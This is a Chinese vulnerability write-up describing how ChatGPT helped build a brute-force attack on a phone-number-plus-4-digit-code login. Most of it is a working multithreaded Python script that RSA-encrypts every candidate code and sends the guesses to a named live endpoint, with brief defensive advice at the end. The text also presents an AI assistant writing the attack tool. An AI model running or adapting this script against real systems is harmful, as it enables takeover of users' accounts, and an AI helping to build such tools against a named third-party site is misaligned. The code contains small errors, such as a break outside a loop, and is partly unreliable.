记一次Chatgpt挖掘任意用户登录漏洞
字数 768 2025-08-20 18:18:23
ChatGPT辅助挖掘任意用户登录漏洞实战教学
0x01 漏洞背景
本案例研究的是一个基于"手机号+4位验证码"的登录系统漏洞,该系统存在以下安全缺陷:
- 验证码长度仅为4位,可爆破(10000种可能性)
- 验证码参数在传输过程中使用RSA加密
- 前端暴露了RSA公钥
0x02 漏洞分析
关键发现点
- 验证码可爆破性:4位验证码仅有10000种组合,在合理时间内可完成爆破
- 加密方式分析:从请求包观察,加密样式符合RSA特征
- 前端暴露公钥:通过搜索"encrypt"关键词可找到RSA公钥
攻击面分析
攻击者需要:
- 获取加密算法实现方式
- 构造有效的加密请求
- 实现自动化爆破流程
0x03 漏洞利用步骤
第一步:获取加密公钥
- 在浏览器开发者工具中搜索"encrypt"或"rsa"关键词
- 定位到类似以下公钥:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk
00h0l+tSjtKswncCpM9CcebzIsWvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj
cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv
+Z5psTON8v+akXpUIHwIDAQAB
-----END PUBLIC KEY-----
第二步:构造加密请求
使用Python的cryptography库实现RSA加密:
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import base64
public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk
00h0l+tSjtKswncCpM9CcebzIsWvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj
cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv
+Z5psTON8v+akXpUIHwIDAQAB
-----END PUBLIC KEY-----"""
public_key = serialization.load_pem_public_key(
public_key_pem,
backend=default_backend()
)
code = "1234" # 示例验证码
code_bytes = code.encode("utf-8")
cipher_bytes = public_key.encrypt(
code_bytes,
padding.PKCS1v15()
)
cipher_b64 = base64.b64encode(cipher_bytes).decode("utf-8")
第三步:构建完整爆破脚本
完整利用代码(含多线程优化):
import requests
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import base64
from cryptography.hazmat.backends import default_backend
import threading
url = "https://icity.shdict.com:8880/zhcstyrz/vue_admin/oauth/mobileLoginFree?_r=1690253760383"
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
"Origin": "https://icity.shdict.com:8880",
"Referer": "https://icity.shdict.com:8880/icity/",
}
# 加载公钥
public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk
00h0l+tSjtKswncCpM9CcebzIsWvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj
cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv
+Z5psTON8v+akXpUIHwIDAQAB
-----END PUBLIC KEY-----"""
public_key = serialization.load_pem_public_key(
public_key_pem,
backend=default_backend()
)
def try_codes(start, end):
for i in range(start, end):
code = str(i).zfill(4)
print(f"Trying code {code}")
# 加密验证码
code_bytes = code.encode("utf-8")
cipher_bytes = public_key.encrypt(
code_bytes,
padding.PKCS1v15()
)
cipher_b64 = base64.b64encode(cipher_bytes).decode("utf-8")
# 构造请求数据
data = {
"phone": "bq3crvUqMTHBhyy83VpMamW4mybx/FhkTCNhKxHlmknppeihOo7drnSVjsv6qQRVj+fjbT+2za9Qed/vgI/Hh+o6I2q7x3FEpsnA7h6Wjt+BQbcqTPMX7JlHksfe8ARcBz+KFYseoXxbgU59Bru4lV18pOKrMlAqHpV3B0yicNA=",
"code": cipher_b64,
"loginType": 0,
"forceLogin": 1,
"clientId": "icity"
}
# 发送请求
response = requests.post(url, headers=headers, json=data)
# 检查响应
if "4018" not in str(response.json()):
print(f"Success! Code {code} is valid.")
print(response.json())
break
else:
print(f"Code {code} is not valid.")
# 创建10个线程并行爆破
threads = []
for i in range(10):
start = i * 900 + 1000
end = (i + 1) * 900 + 1000
thread = threading.Thread(target=try_codes, args=(start, end))
threads.append(thread)
thread.start()
# 等待所有线程完成
for thread in threads:
thread.join()
print("All codes have been tried.")
第四步:优化与调试
- 错误处理:确保代码能处理各种异常情况
- 性能优化:使用多线程加速爆破过程
- 结果验证:通过响应中的特定标识(如"4018")判断验证码是否正确
0x04 防御建议
- 增加验证码复杂度:使用6位或更长验证码
- 限制尝试次数:对同一手机号的验证码尝试次数进行限制
- 加密改进:
- 使用更安全的加密方案
- 避免在前端暴露公钥
- 增加人机验证:引入CAPTCHA等机制
- 服务端校验:增加时间戳、签名等二次验证
0x05 总结
本案例展示了如何利用ChatGPT辅助完成以下工作:
- 分析加密算法
- 编写加密代码
- 构建爆破脚本
- 调试和优化代码
通过自动化工具,原本需要数小时的手工操作可在几分钟内完成,极大提高了漏洞挖掘效率。同时,这也提醒开发人员需要重视验证码相关的安全设计。